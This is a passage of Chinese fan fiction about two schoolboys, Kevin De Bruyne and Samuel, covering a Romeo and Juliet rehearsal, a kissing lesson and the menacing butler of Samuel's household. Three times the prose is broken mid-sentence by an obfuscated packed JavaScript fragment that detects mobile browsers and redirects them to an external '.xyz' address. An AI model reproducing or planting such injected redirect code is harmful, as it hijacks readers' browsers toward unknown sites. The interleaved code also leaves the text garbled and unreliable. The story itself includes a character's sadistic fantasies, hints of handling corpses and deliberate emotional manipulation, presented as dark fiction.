德布劳内则回复:[不行。我那天要去踢客场比赛,很远,回不来。] 纸条传回去刚好下课铃也响起,塞缪尔看完了上面的话,好像有点失落,直接把纸条揉成团,然后趴在了上面。 德布劳内心里一动。 他站起来,假装自己要去喝水,路过塞缪尔的时候趁机戳了戳他的胳膊。 同时小声说道:“我回不来,但你可以提前演给我看。这是部经典戏剧,我还从没看过它。” 听到这个塞缪尔坐了起来,眼睛也亮了。 “好啊。”他说,“那你来我家,我练熟了给你看。” “嗯。” “星期日怎么样?”塞缪尔期待地看向德布劳内,“晚上,刚好我排练完再给你演一遍。” 德布劳内插在兜里的手突然缩紧,然后又松开。 “你们不是才开始排练。”他说。 “是啊,但这星期我们能把第一幕练习完。”塞缪尔笑着说,“如果等到全部都排练一遍就要到下个月了,我不能……” 德布劳内其实说完就后悔了,但他不想再从塞缪尔嘴里听到任何让自己反应超大的话了,并且这事是他提议的,现在拒绝会让他像个神经病。 所以他直接答应了下来,以打断塞缪尔的后半句。 “可以。”他说,“星期日晚上,我去找你。” 说完德布劳内转身平静地走出教室。 然后就听到身后的塞缪尔说:“一定要来啊,我会等着你的。” 同时他也感受到了塞缪尔的视线正在穿透他,他不再给出反应,继续平静地穿过走廊,平静地路过饮水机,又平静地走进卫生间。 确定卫生间里没有人后,德布劳内再也不平静了。他深呼吸一大口,然后开始用头去撞墙。 ‘咚、咚、咚’ 你看你,又给自己找麻烦。 * 星期日晚上6点,德布劳内在去与不去之间挣扎半天,最后还是骑车去了塞缪尔家。 塞缪尔热情地接待了德布劳内,然后把他带去他的房间。这是德布劳内第一次见到塞缪尔的房间长什么样子。 说实话,他有点意外。 房间很大,很整洁,但风格有点奇怪。地毯和窗帘都是复古的样式,书架和书桌却突然变得现代,上面还摆着不同款式的游戏机。 看上去房间里都是塞缪尔自己整理的,他会给所有的书、唱片,还有游戏卡带分类,放在不同的区域,虽然没有标签但一目了然。 最吸引德布劳内的是那张大床。 目测有两米宽,可以容纳好多个他并排躺在上面。 真是嫉妒呢。 塞缪尔看到了德布劳内盯着床的眼神,笑笑说:“别客气,凯文,把这里当成自己家。” 德布劳内瞥了塞缪尔一眼,“我有跟你客气吗?” 说完他跳到床上连翻四个滚。 塞缪尔鼓掌,然后说:“但是凯文,我能滚五下。我赢。” “赢在哪儿?”德布劳内反问,“除了能表现你又瘦又弱外,说明不了任何问题。” “我是有点瘦,但不弱。”塞缪尔说,“我以后还会长。” “哈哈。” “我真的会。为了我的灵魂伴侣。”至少要让他在打他的时候手不会被硌到。 塞缪尔偷看了眼凯文的手。 指腹圆润,手掌有肉感,指节又宽又分明…打在脸上留下的印子一定很漂亮。 想舔。 德布劳内没有读心术,冷笑一声说:“那就祝她好运了。” 不是所有人都能接受你那些怪癖。比如一地下室的标本,还有半夜拖行带血的黑袋子。 塞缪尔:“是呢,该祝「他」好运。” “……” 德布劳内感觉心脏膨胀了一瞬。 他不再接话,翻身来到床尾,然后仰躺着把头垂下去,视角颠倒来看塞缪尔:“好了,我找好位置,你可以开始表演了。” 塞缪尔的视线在德布劳内喉咙上扫过,停顿几秒,清了清嗓子很自然地开始用戏剧腔调念开场白。 因为只有他一个人在,所以不只是罗密欧,其他角色也要由他来扮演。 听塞缪尔掐着嗓子扮不同人很有趣,德布劳内感觉可以看一整天都不腻,但可惜颈椎发出强烈抗议,他只好换个姿势,靠在枕头上用舒服的方式继续看。 过了一会儿,塞缪尔突然站住不动了。 “马上就是朱丽叶的出场。”他说,“人有点多,我演不过来。凯文你能帮忙扮成朱丽叶吗?” 德布劳内毫不犹豫地拒绝帮忙。 让他演?想什么呢。 “我是来看的,别想把我拽下去。”德布劳内说,“你都已经扮了其他人,再多一个朱丽叶也不是难事。” 塞缪尔幽怨地看了他几秒,拿过一个枕头当成朱丽叶。 […我唯一的爱源自我唯一的恨,太早看见未知,太迟认识已知,爱情的诞生是如此不可思议,我爱上了我的敌人!] 台词很好听,但塞缪尔的动作实在滑稽,德布劳内一个字都没听进去,他差点笑地从床上跌下来。 “你看起来真的好傻。”他说。 塞缪尔停了下来,然后拿着他的朱丽叶开始殴打德布劳内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865897|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你才傻,戏剧都是这样的。” “——你好像不把我放在眼里。”作为一个足球运动员,德布劳内轻易抢过了塞缪尔手中的枕头,紧接着反过来殴打他。 塞缪尔跳下床,满屋子乱跑。德布劳内跟在后面,也满屋子乱追。 很快,整洁的房间像遭受了抢劫。 两个人不追了。 德布劳内趴在床边,塞缪尔倒在地毯上。空中有一些鸭绒在飞。德布劳内吹了它一下,其中一片绒毛落在塞缪尔的鼻尖上。 “枕头大战真有意思。”塞缪尔笑着捏起绒毛,又吹回给德布劳内,“你真好,凯文,自从认识你我做了好多以前没做过的事。” 德布劳内把鸭绒抓住,然后塞到肚子底下。他不喜欢接受别人的感谢,那很奇怪,即使说话的是塞缪尔。 但是如果不说点什么塞缪尔可能会一直等着他。 “……不客气。”德布劳内说。 屋子里安静了一会儿。 大约3分钟后,塞缪尔突然对德布劳内说道:“你知道吗,罗密欧和朱丽叶见面的第一眼就爱上了对方。” “所以这是戏剧。”德布劳内回答,“戏剧都是假的。” 塞缪尔翻身坐起来,然后爬到床边,用和德布劳内一样的姿势脸贴着被子和他面对面。 “你不相信一见钟情吗?”塞缪尔问。 德布劳内对此嗤之以鼻,“才刚见了面就爱上,不是别有用心就是身体传达出的讯号,那只能说明你饥.渴,怎么会是爱。” “是吗。”塞缪尔垂眼,睫毛颤了颤,“可我还是相信一见钟情是存在的。” “怎么可能……” 德布劳内反驳到一半,突然意识到塞缪尔在说那句话时是看着他说的,而紧接着德布劳内又发现,两个人的距离不知道什么时候变得只有不到两公分。 这是什么概念呢? 但凡德布劳内低一下头,他的鼻子就会和塞缪尔的鼻子撞在一起。 太近了。 德布劳内往后蠕动了一下,但没有动太多。 然后他听见塞缪尔说道:“其实这部戏剧里罗密欧和朱丽叶要接吻好多次,前面的我都拒绝了,但是最后一幕,两个人殉情的时候,那个吻必须要有。” 话题越来越奇怪了。 德布劳内没接话,反问他:“所以呢?” “我不想亲珍妮丝。”塞缪尔说。 谁让你同意去演罗密欧呢。 德布劳内在心里冷笑,那能怪谁。 “我记得公演那天是圣诞节。”他说。 “圣诞节我也不能亲她。”塞缪尔还是一副拒绝的样子,“说不定到时候舞台上有槲寄生,我逃跑都没了理由。”* 德布劳内立刻想到因为这个传统的存在,圣诞节那天会有好多人拿着槲寄生要和塞缪尔亲嘴,甚至要排队,那画面有趣极了。 然而,直到他意外构建出了自己拿着槲寄生和塞缪尔接吻的画面,事情变得不是那么有趣了。 无聊的传统, 无聊的槲寄生。 德布劳内站起来,打算去喝水缓一缓。然而下一秒,就听见‘咕咚’一声,他的步伐突然被定住。 怎么回事? 德布劳内低头,就看到塞缪尔正抱着他的小腿,像个狗一样卧在他脚边,同时抬头看着他。 “干什么?”德布劳内问。 “我把初吻给你吧。”塞缪尔说,“你说过要教我,凯文。” ……该死。 真是要疯了。 13. 13 德布劳内按住塞缪尔的脸把他从腿上推下去,然后假装平静地说道:“是,我说过要教你就不会不守信,好好坐着去。” 塞缪尔“哦”了一声乖乖在地毯坐下。 “还记得前面的步骤吗?”德布劳内问。 “记得。”塞缪尔抬起头仰望他,然后以坐姿向前挪动了一小段,“两人之间的距离,还有角度都准备好了。” 那么就剩下最后一步。 德布劳内知道这件事迟早要有后续,但他不清楚会是哪一天,所以一直心里悬着。直到现在,它终于掉下来炸开了。 就像是脸上长了一个痘痘,明知道它快破掉了,但是不能主动把它弄破,因为会疼,还有可能感染,所以只好去洗脸。 在洗脸的过程中它果然破掉了。接下来就可以很惊讶地说一句:“竟然破掉了”然后脸上很苦恼心里很满足地去拿纸巾和酒精。 德布劳内从来都是这样。 他弯下腰,用眼神丈量自己和塞缪尔嘴唇之间的距离。 不是很合适。 想要亲到嘴且不把脖子扭伤,他必须蹲下来才行。 ……或者像他们球队在比赛前合影时那样,他也可以跪下来。 说到跪,大脑不受控地联想出一些奇妙的场景。感觉黑色的头发会和黑暗的监牢以及银色的镣铐很适配。 “腿,起来。”德布劳内说。 塞缪尔低头看了两眼,改掉刚才的姿势。他把腿曲起来,膝盖分开,给德布劳内让出空间。 德布劳内跪了下来,然后又撑起一条腿。 这样好多了。 他想着抬起塞缪尔的下巴,“别动。” 低头,嘴唇压过去。 一个简单的接吻就这么弄成了。 塞缪尔想,这比他处理尸体轻松一万倍。 嘴唇压着嘴唇,没有多余的动作。1、2、3,数到5的时候德布劳内拉开了距离。 他想,这回我是真的亲过人了。 尽管这种程度算不上吻。 塞缪尔没有纠结那些,他看着自己选定的灵魂伴侣,嘴角几乎扭曲。 “你热热的。”塞缪尔对德布劳内说。 德布劳内回过神来,反问他:“谁的嘴唇是冷的?” “冬天在路上接吻的人们。”塞缪尔说。 “……” 有点道理。 “你刚才有感觉吗?”塞缪尔问。 这问题应该由他来问,德布劳内不轻不重打了塞缪尔一巴掌,问道:“你有感觉吗?” 塞缪尔喉咙动了动,舌尖在口腔内扫过被打的脸颊。 痒痒的。 “不太有。”他回答。 然后他看着德布劳内的眼睛说:“再来一次?” 当然。 德布劳内没有异议,他是个好老师。 他们的第二次接吻就比第一次要顺畅许多。 德布劳内往前一点,固定好塞缪尔的位置,换了个姿势将嘴唇压过去。 就在他想着要怎么解决‘干干的’问题时,塞缪尔突然张开嘴,用舌尖刮了下德布劳内的嘴唇。 德布劳内迅速撤了回来。 “你干什么?” 塞缪尔说:“我看电视上的人们接吻都要伸舌头。” “那你去看电视学。”德布劳内说着就要起身。 塞缪尔拉住他,“别走,我不动了。” 德布劳内本来也没想走,只是吓吓塞缪尔,他伸手捏住他两侧脸颊:“你能保证吗?” “嗯。”塞缪尔说,“我会很乖。” “那就允许我们再来一次。”德布劳内松开手,“这次我让你张嘴再张。” 塞缪尔点点头。 在第三次的接吻中,他完完全全按照德布劳内的指令行动。 热乎乎的嘴唇压过来,5秒后又数了3秒,德布劳内拇指碾过塞缪尔下颌角。 “张嘴。”他说。 塞缪尔分开嘴唇等待对方的光临。 德布劳内的舌头进到了塞缪尔的口腔。不需要做什么心理建设,他早就在脑子里预演了无数遍。 刚开始的时候他还在探索,偶尔去碰一下塞缪尔乖乖抬起的舌头,但很快他感到了乏味。 接吻的确没什么。 渐渐地,塞缪尔熟练了起来。他开始一步步在自己的地盘掌控一切。比如缠着德布劳内的舌头不让他走,再比如他学会了吸德布劳内的嘴唇,还有如何战略转移。 这次他们亲了好久,久到德布劳内开始烦了。他不明白塞缪尔怎么能在这么小的一片地方玩那么久。 明明已经全探索过一遍了。 德布劳内开始躁动,就像无数个翻来覆去睁眼到凌晨狠狠对自己说‘你已经没有退路了’最后才昏睡过去的夜晚。 节奏无法掌控在自己手里让他心烦意乱,他用舌头和塞缪尔打了一架,重新拿回指导权。 很快,这个吻不再是干干的。嘴唇和嘴唇间隐隐发出‘叽、叽’和‘啾、啾’的响动。 德布劳内想,原来接吻真的会有声音。紧接着他又想,塞缪尔有这样的体力,还很听话,为什么不来踢足球。他们会是好搭档。 然后德布劳内意识到这个想法有多荒唐。 似乎把舌头伸进塞缪尔嘴里这件事让他被感染,变得脑子不太清醒。 德布劳内紧急叫停。 我没有变得喜欢动物尸体吧,他回忆起那天塞缪尔带着废弃的标本问他要不要尝尝他的血…… 心跳加速。 完了,他想,你完了。 德布劳内甩开塞缪尔的舌头和塞缪尔拉开距离,但因为走得太快,一条细线连住了他和塞缪尔的嘴唇。 塞缪尔张着嘴呼吸,等了几秒,用舌头回收了这条线。他必须收回刚刚浅显且傲慢的评论。接吻的感觉真不错。 “感觉真好。”他说。 上一次有这样的情绪是……没有耶! 塞缪尔还从来没有这么高兴过。 为了以后能再次找回这种感觉他记下主要因素:接吻,凯文,以及和凯文接吻。 德布劳内想要起身去喝水,三次接吻让他异常口渴。他非常需要水。 …又或者他想要的不是水而是别的什么东西。 塞缪尔抓住了他的手,请求道:“再来一次吧。” “不行。”德布劳内拒绝。 “最后一次。”塞缪尔补充说。 要我说几遍你才能明白? 德布劳内停了两秒,甩开他的手站起身俯视他,重读了每一个字:“我说,不。” 好吧,看起来三次就是极限了。 塞缪尔乖乖坐下,放开手。 德布劳内靠在书桌上喝掉了整杯水,然后他盯着水面的波纹,突然对塞缪尔说:“现在你可以去亲别人了。” “我不想。”塞缪尔说。 “那我白教你了。”德布劳内说。心里倒是很高兴。 “不会啊。”塞缪尔笑了,“至少我学会接吻,学会怎么让你开心了。” “……” 德布劳内感觉被人扯住了喉咙,他没接塞缪尔这句话。 过了一会儿,塞缪尔突然对德布劳内问:“你说,我要是在快演完最后一幕的时候跑掉,雷蒙德他们会不会追杀我?” “会。”德布劳内说,“而且不只他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873763|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师和校长也会追杀你。” 塞缪尔露出一个恶作剧的笑:“那我就告诉他们,是你让我那么做的。” 多天真的想法啊。 德布劳内嗤笑一声:“不会有人相信你。” 就像不会有人相信他,凯文·德布劳内,一个为了足球转学来的家伙此时此刻正和新来的风云人物塞缪尔待在一起。也不会有人相信他们3分钟前才进行了接吻教学,并且老师和学生都是初吻。 想着想着,德布劳内突然有种没由来的喜悦。 那种别人得不到的东西被他轻而易举拥有了的感觉,不是迫不及待想炫耀,而是一种格外膨胀又没人知道的窃喜。 “你笑了,凯文。”塞缪尔说。 “怎么。”德布劳内又喝了一口水,“在你心里我是个不会笑的人吗?” “不是的。”塞缪尔摇头,“只是——我有说过吗,你笑起来真好看。” 好看? 德布劳内拿着水杯的手一顿。 “神经病。”他翻了个白眼骂道。 我自己什么样我不知道? 接着他又补了一句:“从来没人说过我好看。” “那是他们的问题。”塞缪尔对其他人表现得满不在乎,他认真看向德布劳内,对他说:“你就是很好看。” 和感谢一样,德布劳内同样对别人的称赞感到不适。他用水杯遮掩自己半张脸,塞缪尔纯粹炽热的眼神让他相当不自在。 这时管家敲门走了进来。 有一瞬间塞缪尔的脸色变得很差,但随着管家对他耳语几句,塞缪尔神情突然有点古怪。 “我出去一下,很快回来。”他说。 得救了。德布劳内心想。 但紧接着这种感觉被怪异所取代。 不是说这件事怪,而是塞缪尔,塞缪尔的房子,还有塞缪尔的管家…这里到处都透着怪异。 10分钟后,塞缪尔回来了。 他看上去有点沮丧,对德布劳内说:“我很抱歉,凯文,但是你得走了。” “现在吗?”德布劳内说。他看向墙上的钟表,已经是午夜的12点多了。 塞缪尔点了点头。 “对不起,出了一点状况。”他低声说,“司机有别的事情脱不开身,我不会让你走夜路,管家开车送你回去。” 更怪了。 来不及细想,德布劳内被带去了车库。 塞缪尔和他道别,然后不等车开走便转身回了房子。德布劳内从车玻璃上看到了一切。 路上,管家似乎一直在通过后视镜看他,眼神里充满敌视和警惕。 凌晨1点钟,他到家了。 寄宿家庭的妈妈不是很高兴,数落了他几句。 德布劳内没太在意,上楼回房间睡觉。 他做了个梦,梦里塞缪尔是罗密欧,跪在更衣室里问可不可以和他接吻。但他不是朱丽叶,朱丽叶另有其人。 管家是朱丽叶。 没错,穿着朱丽叶裙子的管家扭曲着一张脸制止了他和塞缪尔接吻,还拿着把尖刀威胁他离开塞缪尔。他拒绝了,然后带着塞缪尔一起逃跑。 过程惊心动魄。 诡异又可怕。 醒过来后德布劳内缓了好久才去上学。 奇怪的是今天塞缪尔没来,没人知道原因,老师也只说他的管家帮他请假离开一段时间。 “怎么回事?” “是不是家里出了什么……” “别瞎说!” 德布劳内一如既往地趴在桌面上,身边是空荡荡的位置。听着身边其他人的小声讨论,他抿了抿嘴。 塞缪尔究竟听到了什么? 14. 14 距离那天已经过去了很久,德布劳内结束了两个主场和一个客场比赛,在此期间,塞缪尔一直没有来过学校。 德布劳内应该高兴,因为终于没人影响他训练了,但实际情况是: 塞缪尔不在的第一天,他没事; 塞缪尔不在的第二天,他也没事; 可等到第三天,他开始胡思乱想。 德布劳内幻想出了塞缪尔的许多种死法,普通的、血腥的,各种各样都有。 比如那天晚上他们分开后他可能遭遇了坏人。塞缪尔会被严刑拷打,尸体和他标本们堆在一起。 这是他许多幻想中最平常的那种。 严重一点的他会想,也许塞缪尔处理过的那些标本来找他算账了。鬼魂们把他也绑在台子上,用针刺穿他的身体,挖出他的内脏,最后把他丢进福尔马林溶液。 等警察找到塞缪尔,他漂浮在浑浊的溶液中,闭着眼,血已经流干了,皮肤白得可怕。 还有一个版本,德布劳内是从管家进入房间开始想的。或许他对塞缪尔耳语的是:冷库里的尸体发生变异,它们活了。所以塞缪尔脸色才变得古怪。然后丧尸大爆发。 真见鬼…… 我肯定是疯了。 德布劳内知道这都是不可能的,但他忍不住去想。断联再加上脑子里塞缪尔的各种死状给他带来了严重的焦虑。 最糟糕的一次是上星期六赛后的那天晚上,他莫名想到了10年后。 如果成不了职业球员,他会在哪里?会有什么样的生活,什么样的工作?他会和很多人一样白天工作晚上喝酒,然后日复一日就这么过去吗?塞缪尔不无聊,他又在哪里? 脑子里东西太多,德布劳内根本睡不着。半夜他的胳膊上和腿上还起了红疹。痒得要命。 如果塞缪尔在… 德布劳内幻想出一个黑暗中的塞缪尔向他爬来,然后乖乖跪在他身边,捧起他的小臂,舔吻皮肤上泛红的疹子。 也许不会。 塞缪尔看着乖,说不定会在他胳膊上咬一口。 该死,别再想了! 德布劳内翻身,警告自己不要再想。可他的大脑不听他的。他回到了塞缪尔的卧室,一遍遍和他接吻。 要是那天在床上就好了。 塞缪尔的地毯摸起来昂贵又舒适,他实在没办法对着自己的床单找到那种触感。 ——你又在想了。 德布劳内蜷缩起来,早知道会这样,他就该在遇见塞缪尔的第一天离他远点。 又是一个失眠夜。 * 星期六,由于对面球队的原因比赛被推迟了。亨克俱乐部的训练场地也被国家队征用,德布劳内第一次不知道还能干什么。 反正不想在寄宿家庭待着。 他骑上自行车,在附近乱逛,然后在草地上躺着晒太阳。 在阳光的照射下,德布劳内又想到了塞缪尔。现在他已经不拒绝去想这件事了。事实上,想塞缪尔成了他每天的‘娱乐活动’。 塞缪尔,塞缪尔…… 德布劳内突然坐了起来,他想到,所有人对塞缪尔的认识都只源自他的口述。 应该去查一查。 于是德布劳内跳上车子向图书馆的方向骑去,那里有一台公用电脑,正是他所需要的。 * 中午,德布劳内到达图书馆。但在他进去前他先遇到了珍妮丝和她的小团体。 哦,早该想到的。 塞缪尔说过,雷蒙德家就在图书馆附近,他们总在这里聚会。 德布劳内把自行车停得很远,希望他们看不到自己。但他的希望落空了,珍妮丝不仅看到他了,还带着雷蒙德和特纳向他走来。 “凯文,对吧。”珍妮丝笑着说。 德布劳内看了她几秒,“你有什么事。” “塞缪尔回来了,你知道吗。”珍妮丝又说。 什么时候? 德布劳内放在兜里的手顿了顿,问道:“你怎么知道?” “我妈妈说的。大人们总喜欢讨论这些。”珍妮丝耸耸肩,“除了这些他们也没别的事可做。” 德布劳内没回话。 他补充:“还有事吗?” “有。”珍妮丝笑容甜甜的,让雷蒙德把一个盒子给了她,她又把它递给德布劳内,“这是我给塞缪尔烤的曲奇,希望能让他好一点。你能帮我带给他吗?” 为什么? 德布劳内看了眼盒子又抬头看珍妮丝,“你怎么不自己去?” “我去了。但他的管家不让我进。”珍妮丝说。 “那你为什么觉得我能进去。”德布劳内反问道。 “你能。”珍妮丝手酸了,直接把盒子塞给德布劳内,“塞缪尔邀请你去了派对。除了他,没人希望你在那儿。” “……” 德布劳内感觉盒子变成了一个刺球,到处扎他的手。 “拜托你了。星期一见。”珍妮丝笑着说完,带着那两人离开了。 特纳没什么反应,还个混蛋。雷蒙德照常没脑子,走的时候回头瞪了德布劳内一眼。 德布劳内在原地站了几秒,带着盒子走进图书馆。 电脑前,他边查资料边吃曲奇。 那些饼干形状大小不一,做得很粗糙,和珍妮丝漂亮的脸蛋一点也不一样。 不过味道很不错。 甩掉饼干渣,德布劳内先查了塞缪尔的母亲。她是这里名门望族家的小姐,记录的资料一定很多。 事实证明这没错,他几乎查出了她的整个生平。不过资料在她嫁给了塞缪尔的父亲后就没有了。 接着德布劳内调转方向,去查了塞缪尔的父亲。他的资料很少,只知道是一名外科医生,拥有德国和法国的双重国籍。 结婚后,他和塞缪尔的妈妈定居巴黎,并且买了一栋郊外的豪宅。 查清楚塞缪尔的双亲后,德布劳内又找到到了塞缪尔的出生证明。上面显示他生在1992年2月10日,时间恰好在零点整。护士说他是个健康的男孩,出生时哭得很大声。 想着哭闹的婴儿塞缪尔,德布劳内忍不住笑了出来。但很快他收起笑容,因为他查到了那场大火。 关于火灾的报道很多,大多不怎么详细。只说是家用厨房电器爆炸导致起火。而由于发生在深夜,没人听见厨房的声音。 德布劳内继续滚动鼠标。有新闻说,塞缪尔是被消防员从浓烟里抱出来的。他父母在卧室,弟弟只有几个月大,也在那里。 但不管哪家报社的报道,一个字都没提到管家。仿佛他不存在。 德布劳内又开始幻想了。 那管家究竟是什么来历,塞缪尔似乎很信任他,他和塞缪尔的家庭变故有关系吗? 直到管理员提醒他还有人在排队,德布劳内这才带上打印出来的资料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879025|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和饼干盒离开图书馆。 然后他骑车去了塞缪尔家。 和珍妮丝一样,德布劳内也得到了管家的拒绝。管家站在门口,手里牵着一只狼狗对德布劳内不停吠叫着,不知道他从哪里弄来的。 “这里不欢迎你。滚远点,男孩。否则后果不是你能承受的。”管家对他说。声音低沉又暗淡。他注意到管家牵狗的手上纹着一个倒十字架和666。 狗仍然在叫。 德布劳内没动,就那么站着。 他曾经因为球队教练的不公正待遇在训练场坐了一整晚,并且死死抱着球门柱。只要他愿意,他可以在这里待到他想走为止。 “我要放狗了。”管家威胁说。 塞缪尔的出现阻止了管家的行径。 “别这样,凯文只是担心我。”他从房子里跑出来挡在德布劳内身前。德布劳内盯着他看。 他比上次见面瘦了,也苍白了。 “你去哪儿了。”德布劳内问。 “去争遗产。对不起,没来得及告诉你。我以为很快能结束。”塞缪尔转头笑了一下,看起来很疲惫。 几分钟后,他带德布劳内上楼进屋。 塞缪尔告诉德布劳内,他突然离开是因为有亲戚声称拥有他外公的遗嘱想要重新分配遗产。而在被鉴定那遗嘱只有部分是出自外公之手其余的均为仿造后,那家亲戚又打起了监护权的主意。 “现在呢?”德布劳内问。 “我委托了律师,他们一分钱都拿不到。”塞缪尔耸耸肩,笑着说。 随即他凑过去,又说:“告诉你一个好消息,凯文。司机最近有事情不能来,我买了自行车,以后我们可以一起骑车回家。” 德布劳内很高兴,但他没有表现出来。 “我也有件事要告诉你。”德布劳内说着拿出饼干盒,“这是珍妮丝托我带给你的,她亲手给你烤的曲奇饼。” 然后不等塞缪尔表态,他打开盒子。里面只剩下最后一块。德布劳内不打算道歉。 他拿起最后的饼干,咬了一大口。 然后说:“我今天没吃东西,路上用它们垫了肚子。味道不错。你介意吗。” 塞缪尔看了德布劳内一会儿,突然笑了。接着他伸手从德布劳内嘴角摘了一小块饼干屑丢进嘴里。 “没关系。”塞缪尔笑着说,“我有尝到。” * 后来他们聊了一会儿,主要是塞缪尔在说遗产的事,德布劳内看着背包里的资料,找了个时间切入主题。 “关于管家,你知道多少?”德布劳内问。 塞缪尔很惊讶他会问这个,说道:“不太多。他不喜欢说以前的事。我只知道他是我父亲的旧相识,从我没出生就跟着他了。” 德布劳内沉默片刻,又问塞缪尔:“你有没有怀疑过……” 话没说完,就看到塞缪尔脸色突然变了。他拉着德布劳内的手把他带到床上,然后猛地用被子蒙住他们两个。 这是干什么? 黑暗里,德布劳内感觉到塞缪尔明显加重的呼吸,热乎乎打在他头上,脸上,还有喉咙上。 好热。 “小一点声,凯文。”塞缪尔说,“管家能听到我们。” “什么?” 塞缪尔凑到德布劳内耳边,轻声对他说:“在这栋房子里,眼睛们无处不在。” 德布劳内感觉浑身‘唰’的冷了下来。 15. 15 凯文呀凯文,怎么这么可爱。听着德布劳内因为震惊而变得急促的呼吸,塞缪尔笑弯了嘴角。 他善于洞察人心,所以写了一个精彩绝伦的剧本给凯文。不对,是给凯文和他。 给他们。 时间是最厉害的杀手,人们遗忘,厌倦,变老,离去。凯文总有一天会厌倦他。* 所以他要假装弱小从而获得力量。凯文则通过他的弱小感受强大,扮演一个拯救者的角色。或者说,一个英雄,一个救世主。 人们需要这种经历,好让他们的善心和优越感有个去处。凯文更复杂些,他还需要征服感。 塞缪尔欣然接受。 毕竟,人们一旦救了你的命,他们就会永远爱你。* 他也想要凯文永远爱他。 “你说的眼睛是指监视器吗?”德布劳内问。 塞缪尔换回原来的表情:“因为是老房子,重新住人必须安装消防设备。镇子上来人的时候管家特别嘱咐他们在上面加装了摄像头。” “每个房间里都有装吗。”德布劳内又问。 塞缪尔给出一个“嗯”。 “……” 德布劳内非常诧异。 这简直是监视,他想,明目张胆地侵犯人权。 “你怎么能允许他这么做。”德布劳内质问道。 “这没什么不好,我需要照顾。”塞缪尔说。 德布劳内干笑两声:“你知道你在说什么吗。”如果不是塞缪尔的行为确实古怪,他会以为这是在开玩笑。 找个借口两个人躲在被子里亲近一下什么的。 “这里很大,凯文。如果我在房间里发生意外,没有那些眼睛管家根本不可能及时帮助我。”塞缪尔说。 他的话有理有据,德布劳内近距离看着他的脸,几乎就要相信了。 ……当然不。 这是世界上最扯的理由,德布劳内心想。 “那我问你。”他按住塞缪尔的膝盖,“如果我说我很关心你,我害怕你哪一天遭遇不测,我可以在你身上放一个追踪器以随时了解你的位置吗?或者我可以和管家一样,在你的房间里装一个摄像头吗?” 塞缪尔沉默了。 他垂眼,似乎很难抉择。 就在德布劳内认为自己说服了塞缪尔的时候,他听见塞缪尔小声说:“如果你希望的话。” 德布劳内没忍住骂了脏话。 被子里空气越来越稀薄,他感觉头晕眼花,于是掀开一个角大口呼吸。 “你生气了吗,凯文?”塞缪尔问。 “我要被你气死了。”德布劳内说。 有一瞬间他想要逃离这里。不只是离开被子,还有离开塞缪尔的房子。 但他不会一个人走。 某种奇怪的使命感从德布劳内心里升腾出来。塞缪尔像一只遭受虐待的猫,而他是发现者。唯一的发现者。 只有他才能救助塞缪尔。 德布劳内甚至有了计划,比如把管家送进监狱,收留塞缪尔,带他重新认识社会,再放他离开。 但紧接着塞缪尔又说:“我已经习惯眼睛的存在了,凯文。不用担心我。我爸爸曾经也这样做,来保护家人的安全。” 真是见了他*的鬼! 德布劳内在心里骂了更脏的脏话。 原来不只是管家,从他父亲就开始了。 怪不得塞缪尔会喜欢标本,还总给自己放血,这恐怕是他人生中唯一能控制的东西,也是唯一能得到平静的方式。 给自己的儿子装摄像头? 该死的控制狂。幸好他死了。 而那场大火以后……哦亲爱的上帝,德布劳内现在更加怀疑它的真相了。 对面,塞缪尔死死咬住舌头,用疼痛阻止自己在这时候笑出声。 监视我吧,我心甘情愿做你的玩具。 再多来一点,凯文。 我是谁。 我经历过什么? 来追我吧,你正在接近真相。 塞缪尔牵起德布劳内的手,对他讨好道:“你别多想了,真的没关系。这个给你。” 德布劳内张开手掌,感受到了熟悉的触感。似乎是那天他还给塞缪尔的挂坠盒。 “这是干什么?”德布劳内问。 “里面我换了照片,是我们两个的。”塞缪尔说,“送给你,希望能给你好运。” “……” “我们什么时候有合照?”德布劳内问。 塞缪尔没说话。 “监视器保存下来的吗。”德布劳内又问。 塞缪尔点头。 德布劳内深呼吸,把挂坠拎到两人中间的半空:“你想贿赂我。没用的,我不会让这件事就这么过去,它不正常。” “不是。”塞缪尔急忙解释说,“我上周就准备好了,不是临时想出来的。” “是吗。” “嗯。” “那为什么给我这个?” “因为我想,既然你有教我接吻,那……” 哦,原来是因为那个。 德布劳内的脑子有一瞬间的空白。 但他的嘴更快一步。 “得了吧,你就是想贿赂我。”德布劳内打断塞缪尔的后半句。他不会承认自己其实有点期待听到它。 “足球比赛不能带饰品。”他又说。 塞缪尔没说话。 于是德布劳内补了一句:“规则不允许,会受伤。” 该死! 话题完全脱离了最重要的事,这都是谁的错? “对不起,我没想到这点。”塞缪尔道了歉。就在他准备把挂坠拿回去时,德布劳内关闭手掌攥住挂坠。 “凯文?” 